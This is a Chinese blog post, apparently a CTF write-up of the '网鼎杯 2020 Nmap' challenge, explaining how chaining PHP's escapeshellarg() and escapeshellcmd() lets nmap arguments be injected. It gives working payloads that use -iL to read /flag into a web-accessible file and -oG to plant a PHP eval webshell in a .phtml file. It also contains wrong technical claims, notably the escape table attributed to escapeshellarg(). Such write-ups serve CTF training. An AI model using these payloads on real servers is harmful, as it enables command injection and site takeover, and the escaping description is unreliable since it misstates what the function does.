有关nmap和escapeshellarg()、escapeshellcmd()两个函数漏洞的笔记

有关 nmap 的性质导致的漏洞

这段时间我刷了刷题,然后就刷到了有关 nmap 的题目,很有意思,记录一下。

先看题目,是**[网鼎杯 2020 朱雀组]Nmap**。

我们结合题目来学习这样的知识。

先看 nmap 的所有命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Nmap(Network Mapper)是一款功能强大的网络扫描工具,它能够帮助用户发现网络上的设备、开放的端口以及运行的服务。以下是一些Nmap的常见命令及其用途:

1.基本扫描
nmap <目标IP>:对指定IP地址进行快速扫描,默认扫描100个常用端口。
nmap -p <端口范围> <目标IP>:扫描指定IP地址的特定端口范围。
2.详细扫描
nmap -sV <目标IP>:探测目标主机上运行的服务的版本信息。
nmap -O <目标IP>:尝试检测目标主机的操作系统类型。
nmap -A <目标IP>:进行高级扫描,包括操作系统检测、版本检测、脚本扫描等。
3.扫描多个目标
nmap <目标IP1> <目标IP2> ...:依次扫描多个IP地址。
nmap -iL <目标文件>:从文件中读取IP地址列表进行扫描。
4.扫描整个子网
nmap <起始IP>-<结束IP>:扫描指定IP范围内的所有主机。
nmap <网络地址>/<子网掩码>:使用CIDR表示法扫描整个子网。
5.服务探测
nmap --script=<脚本名> <目标IP>:运行指定的Nmap脚本进行扫描。
nmap -sT <目标IP>(或-sU):进行TCP(或UDP)连接扫描。
nmap -sS <目标IP>:进行TCP SYN扫描(半开扫描),速度较快且不易被防火墙发现。
6.性能优化
nmap -T<0-5> <目标IP>:设置扫描的并行度,-T0为最慢但最隐蔽,-T5为最快但可能触发防火7.墙警报。
nmap --min-hostgroup=<数量>:设置一次扫描的主机组大小,以优化扫描速度。
8.结果输出
nmap -oN <输出文件> <目标IP>:将扫描结果以普通文本格式保存到文件中。
nmap -oX <输出文件> <目标IP>:将扫描结果以XML格式保存到文件中。
nmap -oG <输出文件> <目标IP>:将扫描结果以Grepable格式保存到文件中,便于后续处理。
9.其他选项
nmap --open <目标IP>:仅显示开放的端口。
nmap --host-timeout=<时间>:设置扫描每个主机的超时时间。
nmap --script-timeout=<时间>:设置运行脚本的超时时间。
nmap --osscan-limit:限制操作系统检测,以加快扫描速度。
nmap --osscan-guess:尝试猜测更具体的操作系统信息。

我们主要运用的就是 -oG-iL这两个命令。

来看题目

image-20250516155732466

是直接运用了nmap命令,尝试直接输入 IP:127.0.0.1。

image-20250526142954721

结果如上。

image-20250526143101730

看页面源代码,得知 flag 在 /flag 中

那么我们可以通过以下知识点写入webshell,或将flag读入指定文件在读取指定文件内容即可

nmap -iL <目标文件>:从文件中读取IP地址列表进行扫描

nmap -oN <输出文件> <目标IP>:将扫描结果以普通文本格式保存到文件中

再利用这两个命令之前,我们先要了解 escapeshellarg() 和 escapeshellcmd() 这两个函数的绕过方式

一、 escapeshellarg() 和 escapeshellcmd() 绕过

escapeshellarg()函数

1
2
3
4
5
6
7
8
9
10
11
12
单引号 ('):转义为 \'。
双引号 ("):转义为 \"
反斜杠 (\):转义为 \\
美元符号 ($):转义为 \$
反引号 (`):转义为 ``````。
感叹号 (!):转义为 \!
分号 (;):转义为 \;
大于号 (>):转义为 \>
小于号 (<):转义为 \<
垂直线 (|):转义为 \|
与号 (&):转义为 \&
空格 ( ):转义为 \

escapeshellcmd()函数

这些转义和规范化操作有助于确保命令字符串在传递给命令行时能够正确解析,并且不会被误认为是命令或其他恶意代码。

执行操作

替换命令字符串中的单引号 (') 为反斜杠和单引号组合 (\')。
替换命令字符串中的双引号 (") 为反斜杠和双引号组合 (\")。
删除命令字符串中的换行符 (\n)。
删除命令字符串中的回车符 (\r)。

exp执行原理

我们来分析下构造的exp

127.0.0.1' -v -d a=1

当进行 escapeshellarg() 函数处理后,会先进行字符转义,变成如下

127.0.0.1\' -v -d a=1
//然后添加两个单引号到转义的单引号左右,使得两部分括起来从而起到连接的作用
'127.0.0.1'\'' -v -d a=1'

再进行 escapeshellcmd() 函数处理后
对 \ 以及最后那个不配对的单引号进行了转义

1
'127.0.0.1'\\'' -v -d a=1\'

像这样就可以绕过

二、将 flag 读取到指定文件(-iL命令)

payload为 127.0.0.1' -iL /flag -o cmd

最后经过两个函数的处理变成了'127.0.0.1'\\'' -iL /flag -o cmd\'

访问/cmd'就有flag

image-20250526161354489

三、写入 webshell (-oG命令)

payload为127.0.0.1 | ' <?=@eval($_REQUEST["a"]);?> -oG a.phtml '

这道题过滤 php ,所以用短标签和 .phtml 后缀。

1
2
3
4
5
传入payload ' <?=@eval($_POST["a"]);?> -oG b.phtml '
经过escapeshellarg()函数会将payload变为 ''\'' <? echo @eval($_POST["a"]);?> -oG b.phtml '\'''
在经过escapeshellcmd()函数会将payload变为 ''\\'' <? echo @eval($_POST["a"]);?> -oG b.phtml '\\'''
后面的空格刚好能将\给隔开,
验证就是如果我输入payload:'<? echo @eval($_POST["a"]);?> -oG b.phtml ' 只去掉前一个空格可以绕过,去掉后一个空格则无法绕过。因为去掉前一个空格,会将\<? echo @eval($_POST["a"]);?>写入文件,但是无伤大雅,代码仍可以利用。

然后用蚁剑去连接这个马就可以获得 flag 了


有关nmap和escapeshellarg()、escapeshellcmd()两个函数漏洞的笔记
http://example.com/2025/05/16/有关nmap和escapeshellarg-、escapeshellcmd-两个函数漏洞的笔记/
作者
yuhua
发布于
2025年5月16日
许可协议